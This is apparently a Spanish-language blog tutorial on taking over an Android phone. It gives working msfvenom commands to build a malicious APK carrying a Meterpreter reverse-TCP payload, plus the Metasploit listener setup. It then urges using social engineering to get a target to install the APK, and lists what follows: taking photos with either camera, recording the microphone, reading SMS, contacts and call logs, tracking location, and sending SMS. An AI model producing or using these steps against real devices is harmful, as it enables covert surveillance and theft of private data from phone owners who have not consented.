Controla un Android en minutos!

El sistema operativo Android es el mas popular del mercado y supera todavía y por mucho a Apple por eso es el objetivo de muchos ataques y pruebas de seguridad tomadas bajo este sistema teniendo como resultado la información que maneja el usuario en su equipo.

Nadie debería sentirse excluido de ataques a los sistemas operativos Android, ahora es posible que Android sea explotado con unas cuantas lineas de código para tener acceso a eso se le suma ingeniería social para acceder.

Usaremos:
Kali Linux que contiene a la herramienta Metasploit y en otra máquina virtual con Android.

EMPECEMOS:

En la máquina virtual (VM) con ANDROID esto consume muchos recursos del equipo.

Usaremos Genymotion un emulador de Android x86 para ejecutar rapdiamente dispositivos Android. El emulador nativo de Android ejecuta todo tipo de aplicaciones en Windows, Mac o Linux. Genymotion ayuda a desarrollar aplicaciones Android. Se integra con adb, línea de comandos y diferentes entornos de desarrollo.

Toma segundos ejecutar aplicaciones conectadas al ADT desde el IDE para evaluarla. Genymotion está basado en máquinas virtuales x86 idealmente pensada para Virtual box. Los desarolladores de Genymotion han creado una interfaz que soportar funciones para cualquier usuario.

El enlace para descargarlo: https://www.genymotion.com/#!/download

Primero crear un usuario, para poder descargarlo.Genymotion se puede descargar según la versión de Android que deseas evaluar o elegir las marcas de los celulares como Samsung, Google, Motorola, HTC, Sony, cada una con distintos requisitos.

Ya descargada la versión o marca del dispositivo la pantalla queda algo así:

Hacer clic en Start para encencer la VM:

Y quedó listo para las pruebas!
En Kali Linux preparamos una aplicacion maliciosa Application Package File o *.APK.

Con MSFVENOM:

msfvenom -p android/meterpreter/reverse_tcp LHOST=IP_KALI LPORT=Puerto_KALI R > /root/AplicacionMaliciosa.apk

Dejar escuchando desde Kali, abrimos Metasploit y lo configuramos:

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST IP_KALI
set LPORT Puerto_KALI
exploit

El APK malicioso debe ser enviado al objetivo; Es usual en este punto usar Ingeniería Social y esperar a que el objetivo ejecute el apk malicioso.

Una vez que el dispositivo Android es alcanzado. “Hackeado” veremos algo como esto:

Donde el objetivo ya dio clic a una sesión de Meterpreter aparecerá en la terminal, tal como se ve con la ejecución del comando sysinfo el objetivo es un Android 4.4.4

Con la ejecucion del comando HELP nos dirá que acciones podemos hacer en el objetivo y en post de mas información, las acciones para Android son:

Tomar Fotos con ambas cámaras (Frontal y Trasera)
Hacer Streming desde la cámara seleccionada
Verificar si el dispositivo es ROOTEADO
Obtiene el listado de llamadas
Lista Contactos
Obtiene SMS
Consigue la Ubicación del Dispositivo
Envia SMS

Grabar a través del Micrófono